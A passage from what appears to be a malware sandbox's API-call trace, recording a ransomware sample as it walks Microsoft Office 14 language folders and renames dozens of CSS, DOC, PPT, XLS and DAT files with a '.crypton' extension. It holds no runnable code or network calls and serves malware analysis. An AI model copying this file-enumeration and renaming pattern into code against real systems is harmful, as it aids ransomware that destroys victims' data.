dwFlags=0x2) returned 1 [0090.106] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.crypton"), dwFlags=0x2) returned 1 [0090.111] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.crypton"), dwFlags=0x2) returned 1 [0090.125] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.crypton"), dwFlags=0x2) returned 1 [0090.136] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.crypton"), dwFlags=0x2) returned 1 [0090.145] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.crypton"), dwFlags=0x2) returned 1 [0090.158] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.crypton"), dwFlags=0x2) returned 1 [0090.167] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.crypton"), dwFlags=0x2) returned 1 [0090.175] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.crypton"), dwFlags=0x2) returned 1 [0090.376] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.crypton"), dwFlags=0x2) returned 1 [0090.676] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.crypton"), dwFlags=0x2) returned 1 [0090.706] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.crypton"), dwFlags=0x2) returned 1 [0090.711] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.crypton"), dwFlags=0x2) returned 1 [0091.003] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.crypton"), dwFlags=0x2) returned 1 [0091.009] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb39b4140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb39b4140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0091.076] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css.crypton"), dwFlags=0x2) returned 1 [0091.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css.crypton"), dwFlags=0x2) returned 1 [0091.223] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css.crypton"), dwFlags=0x2) returned 1 [0091.290] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css.crypton"), dwFlags=0x2) returned 1 [0091.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css.crypton"), dwFlags=0x2) returned 1 [0091.487] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css.crypton"), dwFlags=0x2) returned 1 [0091.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css.crypton"), dwFlags=0x2) returned 1 [0091.635] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css.crypton"), dwFlags=0x2) returned 1 [0091.807] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css.crypton"), dwFlags=0x2) returned 1 [0091.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css.crypton"), dwFlags=0x2) returned 1 [0091.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css.crypton"), dwFlags=0x2) returned 1 [0092.022] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css.crypton"), dwFlags=0x2) returned 1 [0092.089] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css.crypton"), dwFlags=0x2) returned 1 [0092.157] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css.crypton"), dwFlags=0x2) returned 1 [0092.234] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css.crypton"), dwFlags=0x2) returned 1 [0092.305] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css.crypton"), dwFlags=0x2) returned 1 [0092.370] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css.crypton"), dwFlags=0x2) returned 1 [0092.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css.crypton"), dwFlags=0x2) returned 1 [0092.518] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css.crypton"), dwFlags=0x2) returned 1 [0092.590] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css.crypton"), dwFlags=0x2) returned 1 [0092.660] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css.crypton"), dwFlags=0x2) returned 1 [0092.726] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css.crypton"), dwFlags=0x2) returned 1 [0092.796] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css.crypton"), dwFlags=0x2) returned 1 [0092.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css.crypton"), dwFlags=0x2) returned 1 [0092.928] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css.crypton"), dwFlags=0x2) returned 1 [0092.991] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css.crypton"), dwFlags=0x2) returned 1 [0093.058] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css.crypton"), dwFlags=0x2) returned 1 [0093.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css.crypton"), dwFlags=0x2) returned 1 [0093.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css.crypton"), dwFlags=0x2) returned 1 [0093.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css.crypton"), dwFlags=0x2) returned 1 [0093.440] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css.crypton"), dwFlags=0x2) returned 1 [0093.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css.crypton"), dwFlags=0x2) returned 1 [0093.579] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css.crypton"), dwFlags=0x2) returned 1 [0093.769] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css.crypton"), dwFlags=0x2) returned 1 [0093.846] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css.crypton"), dwFlags=0x2) returned 1 [0093.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css.crypton"), dwFlags=0x2) returned 1 [0093.985] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css.crypton"), dwFlags=0x2) returned 1 [0094.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css.crypton"), dwFlags=0x2) returned 1 [0094.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css.crypton"), dwFlags=0x2) returned 1 [0094.203] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css.crypton"), dwFlags=0x2) returned 1 [0094.267] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css.crypton"), dwFlags=0x2) returned 1 [0094.329] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css.crypton"), dwFlags=0x2) returned 1 [0094.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css.crypton"), dwFlags=0x2) returned 1 [0094.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css.crypton"), dwFlags=0x2) returned 1 [0094.598] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css.crypton"), dwFlags=0x2) returned 1 [0094.746] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css.crypton"), dwFlags=0x2) returned 1 [0094.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css.crypton"), dwFlags=0x2) returned 1 [0094.879] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css.crypton"), dwFlags=0x2) returned 1 [0094.942] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), 